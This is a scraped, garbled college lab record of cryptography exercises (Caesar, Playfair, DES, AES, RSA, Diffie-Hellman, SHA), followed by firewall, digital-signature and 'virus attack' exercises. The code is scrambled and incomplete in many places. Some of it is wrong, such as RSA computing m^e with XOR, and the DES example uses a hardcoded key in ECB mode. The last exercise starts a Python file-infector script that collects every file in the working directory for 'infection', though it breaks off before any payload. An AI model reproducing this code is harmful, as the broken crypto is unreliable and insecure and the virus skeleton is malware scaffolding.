Professional Documents
Culture Documents
SALEM - 11.
FINAL YEAR
NAME :
………………………………………………….
REGISTER NUMBER :
………………………………………………….
GOVERNMENT COLLEGE OF ENGINEERING
(An Autonomous Institution Affiliated to Anna University, Chennai)
SALEM - 11.
Page Staff
S. No Date Name of the Experiment
No. Signature
4 DES Algorithm
5 AES Algorithm
6 RSA Algorithm
10 Simulation of Firewall
\
EX NO: 1
CAESAR CIPHER ALGORITHM
DATE:
AIM:
To write a Java program to implement Caesar Cipher Algorithm.
PROCEDURE:
The Caesar Cipher technique is one of the earliest and simplest method of
encryption technique. It‟s simply a type of substitution cipher
Each letter of a given text is replaced by a letter some fixed number of positions
down the alphabet.
To cipher a given text we need an integer value, known as shift which indicates
the number of position each letter of the text has been moved down.
The encryption can be represented using modular arithmetic by first transforming
the letters into numbers, according to the scheme, A = 0, B = 1,…, Z = 25.
Encryption phase :En(x) = (x+n)%26
Decryption phase :Dn(x) = (x-n)%26
CODING:
Caesar Cipher of Strings without key:
class caesar1
{
public static void main(String args[])
{
String a="abcdefghijklmnopqrstuvwxyz";
String pt="hello";
System.out.println("The plain text is: "+pt.toUpperCase());
int len=pt.length();
System.out.print("The corresponding cipher text is: ");
for(int i=0;i<len;i++)
{
char s1= pt.charAt(i);
int j=a.indexOf(s1);
String ct=a.substring(j+3,j+4);
System.out.print(ct.toUpperCase());
}
System.out.println(" ");
OUTPUT:
Caesar Cipher of Strings without key:
Thus the Java program to implement Caesar Cipher Algorithm was executed and the
output was verified successfully.
EX NO: 2
PLAY FAIR CIPHER ALGORITHM
DATE:
AIM:
To write a Java program to implement Play Fair Cipher Algorithm.
PROCEDURE:
In this scheme, pairs of letters are encrypted, instead of single letters as in the case
of simple substitution cipher.
In playfair cipher, initially a key table is created. The key table is a 5×5 grid of
alphabets that acts as the key for encrypting the plaintext. Each of the 25 alphabets
must be unique and one letter of the alphabet (usually J) is omitted from the table
as we need only 25 alphabets instead of 26. If the plaintext contains J, then it is
replaced by I.
The sender and the receiver deicide on a particular key. In a key table, the first
characters (going left to right) in the table is the phrase, excluding the duplicate
letters. The rest of the table will be filled with the remaining letters of the
alphabet, in natural order.
First, a plaintext message is split into pairs of two letters (digraphs). If there is an
odd number of letters, a Z is added to the last letter.
If both the letters are in the same column, take the letter below each one (going
back to the top if at the bottom)
If both letters are in the same row, take the letter to the right of each one (going
back to the left if at the farthest right)
If neither of the preceding two rules are true, form a rectangle with the two letters
and take the letters on the horizontal opposite corner of the rectangle.
CODING:
import java.io.*;
class PlayFair
{
public static void main(String a[]) throws ArrayIndexOutOfBoundsException,IOException
{
String[][] pt1=new String[5][5];
String all="ABCDEFGHIKLMNOPQRSTUVWXYZ";
String key="MONARCHY";
System.out.print("Enter the plain text: ");
BufferedReaderbr=new BufferedReader(new InputStreamReader(System.in));
String pt=br.readLine();
pt=pt.toUpperCase(); if((pt.length()%2!
=0))
OUTPUT:
pt=pt+"X";
System.out.println("The plain text is: "+pt);
String ct="";
int len2,k=0;
int len1=key.length();
for(int i=0;i<len1;i++)
{
len2=all.length();
String s=key.substring(i,i+1);
if(s.equals("J"))
{
s="I";
}
int n=all.indexOf(s); all=all.substring(0,n)
+""+all.substring(n+1,len2);
}
all=key+""+all;
}
System.out.println("");
}
for(k=0;k<pt.length();k=k+2)
{
int i,j,a1=0,b=0,c=0,d=0; String s=pt.substring(k,k+2); String s1=s.substring(0,1); String
s2=s.substring(1,2); for(i=0;i<5;i++)
{
for(j=0;j<5;j++)
{
if(pt1[i][j].equals(s1))
{
a1=i;
b=j;
break;
}
}
}
for(i=0;i<5;i++)
{
for(j=0;j<5;j++)
{
if(pt1[i][j].equals(s2))
{
c=i;
d=j;
break;
}
}
}
if(a1==c)
{
if((b+1)>=5)
b=0;
if((d+1)>=5)
d=0;
s1=pt1[a1][b+1];
s2=pt1[a1][d+1];
}
if(b==d)
{
if((a1+1)>=5)
a1=0;
if((c+1)>=5)
c=0;
s1=pt1[a1+1][b];
s2=pt1[c+1][b];
}
if(a1!=c && b!=d)
{
s1=pt1[a1][d];
s2=pt1[c][b];
}
ct=ct+""+s1+""+s2;
}
System.out.println("The cipher text is: "+ct);
}
}
RESULT:
Thus the Java program to implement Play Fair Cipher Algorithm was executed and
the output was verified successfully.
EX NO: 3
HILL CIPHER ALGORITHM
DATE:
AIM:
To write a Java program to implement Hill Cipher Algorithm.
PROCEDURE:
CODING:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
AIM:
To write a Java program to implement Data Encryption Standard Algorithm.
PROCEDURE:
The 64 bit plain text block is handed over to an initial Permutation (IP) function.
The initial permutation performed on plain text.
Next the initial permutation (IP) produces two halves of the permuted block says
Left Plain Text (LPT) and Right Plain Text (RPT).
Now each LPT and RPT to go through 16 rounds of encryption process.
In the end, LPT and RPT are rejoined and a Final Permutation (FP) is performed on
the combined block
The result of this process produces 64 bit cipher text.
Decryption : The order of the 16 keys is reversed such that key 16 becomes key 1,
and so on. Then, the steps for encryption are applied to the ciphertext.
CODING:
DES algorithm to encrypt text files:
import java.io.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class EncryptFile
{
public static void main(String args[])
{
if (args.length< 1)
{
TEXT FILE:
CipherInputStream cis; //
Creation of Secret key
byte key[] = "abcdEFGH".getBytes();
SecretKeySpecsecretKey = new SecretKeySpec(key,"DES");
// Creation of Cipher objects
Cipher encrypt = Cipher.getInstance("DES/ECB/PKCS5Padding");
encrypt.init(Cipher.ENCRYPT_MODE, secretKey);
// Open the Plaintext
file try
{
fis = new FileInputStream(args[0]);
}
catch(IOException err)
{
System.out.println("Cannot open file!");
System.exit(-1);
}
cis = new CipherInputStream(fis,encrypt);
// Write to the Encrypted file
fos = new FileOutputStream(desFile);
byte[] b = new byte[8];
int i = cis.read(b);
while (i != -1) {
fos.write(b, 0, i);
i = cis.read(b);
}
fos.flush();
fos.close();
cis.close();
fis.close();
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
DES algorithm to decrypt text files:
import java.io.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class DecryptFile {
public static void main(String args[])
{ try {
File desFile = new File("encrypt.des");
File desFileBis = new File("decrypt.des");
FileInputStreamfis;
FileOutputStreamfos;
CipherInputStream cis; //
Creation of Secret key
byte key[] = "abcdEFGH".getBytes();
SecretKeySpecsecretKey = new SecretKeySpec(key,"DES");
// Creation of Cipher
objects Cipher decrypt =
Cipher.getInstance("DES/ECB/PKCS5Padding");
decrypt.init(Cipher.DECRYPT_MODE, secretKey);
// Open the Encrypted file
fis = new FileInputStream(desFile);
cis = new CipherInputStream(fis,
decrypt); // Write to the Decrypted file
fos = new FileOutputStream(desFileBis);
byte[] b = new byte[8];
int i = cis.read(b);
while (i != -1)
{
fos.write(b, 0, i);
i = cis.read(b);
}
fos.flush();
fos.close();
cis.close();
fis.close();
} catch(Exception e){
e.printStackTrace();
}
}
}
RESULT:
Thus the Java program to implement Data Encryption Standard Algorithm was
executed and the output was verified successfully.
EX NO: 5
ADVANCED ENCRYPTION STANDARD ALGORITHM
DATE:
AIM:
To write a Java program to implement Advanced Encryption Standard Algorithm.
PROCEDURE:
CODING:
import java.security.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.io.*;
public class AES {
public static String asHex (byte buf[])
{ StringBufferstrbuf = new StringBuffer(buf.length * 2);
int i;
OUTPUT:
for (i = 0; i<buf.length; i++)
{ if (((int) buf[i] & 0xff) <
0x10) strbuf.append("0");
strbuf.append(Long.toString((int) buf[i] & 0xff, 16));
}
return strbuf.toString();
}
public static void main(String[] args) throws Exception
{ String message="cyptography";
// Get the KeyGenerator
KeyGeneratorkgen = KeyGenerator.getInstance("AES");
kgen.init(128); // 192 and 256 bits may not be available
// Generate the secret key specs.
SecretKey skey = kgen.generateKey();
byte[] raw = skey.getEncoded();
SecretKeySpecskeySpec = new SecretKeySpec(raw, "AES");
// Instantiate the cipher
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE,
skeySpec); byte[] encrypted =
cipher.doFinal((args.length == 0 ? "cryptography" :args[0]).getBytes());
System.out.println("encrypted string: " + asHex(encrypted));
cipher.init(Cipher.DECRYPT_MODE, skeySpec);
byte[] original =
cipher.doFinal(encrypted);
String originalString = new String(original);
System.out.println("Original string: " +
originalString + " " + asHex(original));
}
}
RESULT:
Thus the Java program to implement Advanced Encryption Standard Algorithm was
executed and the output was verified successfully.
EX NO: 6
RIVEST SHAMIR ADLEMAN (RSA) ALGORITHM
DATE:
AIM:
To write a Java program to implement Rivest Shamir Adleman (RSA) algorithm.
PROCEDURE:
The initial procedure begins with selection of two prime numbers namely p and q,
and then calculating their product N, as N = p * q
Consider number e as a derived number which should be greater than 1 and less than
(p-1) and (q-1). The primary condition will be that there should be no common
factor of (p-1) and (q-1) except 1.
Public key : The specified pair of numbers n and e forms the RSA public key and it
is made public.
Private key : Private Key d is calculated from the numbers p, q and e.
ed = 1 mod (p-1) (q-1)
Encryption Formula: C = Pe mod n
Decryption Formula: Plaintext = Cd mod n
CODING:
import java.io.*;
class check
{
// method to check whether a number is prime or not
void prime(int p,int q)
{
for(int i=2;i<=p/2;i++)
{
if(p%i==0)
{
System.out.println("p is not prime");
System.exit(0);
}
}
for(int i=2;i<=q/2;i++)
{
if(q%i==0)
{
OUTPUT:
System.out.println("q is not prime");
System.exit(0);
}
}
}
// method to find GCD of two numbers
public int gcd(int x, int y)
{
int g,f;
if(x<0)
x=-x;
if(y<0)
y=-y;
g=x;
f=y%x;
if(f>0)
return gcd(f,g); //recursive call of gcd method
return(g);
}
}
class RSA
{
public static void main(String args[]) throws IOException
{
BufferedReaderbr=new BufferedReader(new InputStreamReader(System.in));
System.out.print("Enter P: ");
int p=Integer.parseInt(br.readLine());
System.out.print("Enter Q: ");
int q=Integer.parseInt(br.readLine());
//check p,q are prime or not
check ob=new
check(); ob.prime(p,q);
int n=p*q;
int z=(p-1)*(q-1);
System.out.print("Enter Encrytion key(e):
"); int e=Integer.parseInt(br.readLine());
//check whether e and z are relatively prime
int g=ob.gcd(e,z);
if(g!=1)
{
System.out.println("e and z are not relatively
prime"); System.exit(0);
}
int d=1; while(((e*d)
%z)!=1) d++;
System.out.print("Enter the plain text:
"); int m=Integer.parseInt(br.readLine());
int c=(m^e)%n;
System.out.println("The decryption key is(d) : "+d);
System.out.println("The cipher text is : "+c);
}
}
RESULT:
Thus the Java program to implement Rivest Shamir Adleman (RSA) Algorithm was
executed and the output was verified successfully.
EX NO: 7
DIFFIE HELLMAN ALGORITHM
DATE:
AIM:
To write a Java program to implement Diffie Hellman Algorithm.
PROCEDURE:
Create two classes Alice and Bob agree to use a prime number p=23 and base g=5.
Alice chooses a secret integer a=6, then
a 6
sends Bob A = g mod p .A = 5 mod23, A = 15,625 mod 23,A = 8.Bob chooses a
b 15
secret integer b=15, then sends Alice B = g mod p. B = 5 mod
23, B = 30,517,578,125 mod 23, B = 19.
a 6
Alice computes s = B mod p[s = 19 mod 23,s = 47,045,881 mod 23, s = 2]. Bob
b 15
computes s = A mod p[s = 8 mod 23, s = 35,184,372,088,832 mod 23, s = 2]
Alice and Bob now share a secret: s = 2. This is because 6*15 is the same as 15*6.
CODING:
Alice.java
public class
Alice{ private final int
a, g, p; private int y;
public Alice(int a, int g, int p){
this.a = a;
this.g = g;
this.p = p;
}
Thus the Java program to implement Diffie Hellman Algorithm was executed and the
output was verified successfully.
EX NO: 8
SECURE HASH ALGORITHM
DATE:
AIM:
To write a Java program to implement Secure Hash Algorithm.
PROCEDURE:
The first step is to initialize five random strings of hex characters that will serve as
part of the hash function
The message is then padded by appending a 1, followed by enough 0s until the
message is 448 bits. The length of the message represented by 64 bits is then added to
the end, producing a message that is 512 bits long.
The padded input obtained above,M, is then divided into 512-bit chunks, and each
chunk is further divided into sixteen 32-bit words,W0…W15. In the case of „abc‟,
there‟s only one chunk, as the message is less than 512-bits total.
For each chunk, begin the 80 iterations,i, necessary for hashing (80 is the determined
number for SHA-1), and execute the following steps on each chunk,Mn
For iterations 16 through 79, where 16≤i≤79, perform the following
operation:W(i)=S1(W(i−3)⊕W(i−8)⊕W(i−14)⊕W(i−16))
Now, store the hash values defined in step 1 in the following variables
For 80 iterations, where 0≤i≤79, computeTEMP=S^5∗(A)+f(i,B,C,D)+E+W(i)+K(i)
Store the result of the chunk‟s hash to the overall hash value of all chunks, as shown
below, and proceed to execute the next chunk
As a final step, when all the chunks have been processed, the message digest is
represented as the 160-bit string comprised of the OR logical operator,∨, of the 5
hashed values.
CODING:
import java.security.MessageDigest;
public class SHAHashingExample
{
public static void main(String[] args)throws Exception
{
String password = "123456";
MessageDigest md = MessageDigest.getInstance("SHA-256");
md.update(password.getBytes());
byte byteData[] = md.digest();
//convert the byte to hex format method 1
StringBuffer sb = new StringBuffer();
for (int i = 0; i<byteData.length; i++)
OUTPUT:
{
sb.append(Integer.toString((byteData[i] & 0xff) + 0x100, 16).substring(1));
}
System.out.println("Hex format : " + sb.toString());
//convert the byte to hex format method 2
AIM:
To simulate digital signature verification using DocuSign.
DIGITAL SIGNATURE:
Digital Signature are like electronic “fingerprints” in the form of a coded message,
the digital signature securely associates a signer with a document in recorded format.
Called Public KeyInfrastructure (PKI), to provide the highest levels of security and
universal acceptance. They are a specific signature technology implementation of electronic
signature (eSignature).
PROCEDURE:
Sign in in DocuSign.
Connect with Gmail Account.
Create your own Signature.
Add Document to send.
Adopt your Signature.
Enter the Receive Details.
Click Send and Close.
Receiver will receive the document and review it.
Click Finish.
OUTPUT:
AIM:
To simulate a personal firewall to block any website using C program
FIREWALL:
PROCEDURE:
Try open any website (For e.g., Www.facebook.com ) which is working
Compile the C source code and build the executable file
Run .exe file as Administrator
Input the website (For e.g., Www.facebook.com ) to be blocked
Now the website is blocked and can be verified manually
SOURCE CODE:
WebsiteBlockerFirewall.C
#include <fstream>
#include <iostream>
using namespace std;
int main()
{
char site[20],ch;
ifstream in;
ofstream out;
AIM:
VIRUS ATTACK:
A computer virus is a malicious software program loaded onto a user‟s computer without
the user‟s knowledge and perform malicious actions. It can self-replicate, inserting itself
onto other programs or files, infecting them in the process. Not all computer viruses are
destructive though.
PROCEDURE:
CODING:
MyVirus.py
import os
from os import walk
files = []
for (dirpath, dirnames, filenames) in walk(os.getcwd()):
for i in range(len(filenames)):
files.append(dirpath+'\\'+filenames[i])
files.remove(os.path.abspath( file ))
print(files)
INFECTING=False
while not INFECTING:
choice=input('1.Infect all files \n 2.Disinfect all files \n Enter your choice :')
if(choice=='1'):
INFECTING=1
elif(choice=='2'):
INFECTING=-1
else:
print("Invalid choice")
OUTPUT:
1. Before infection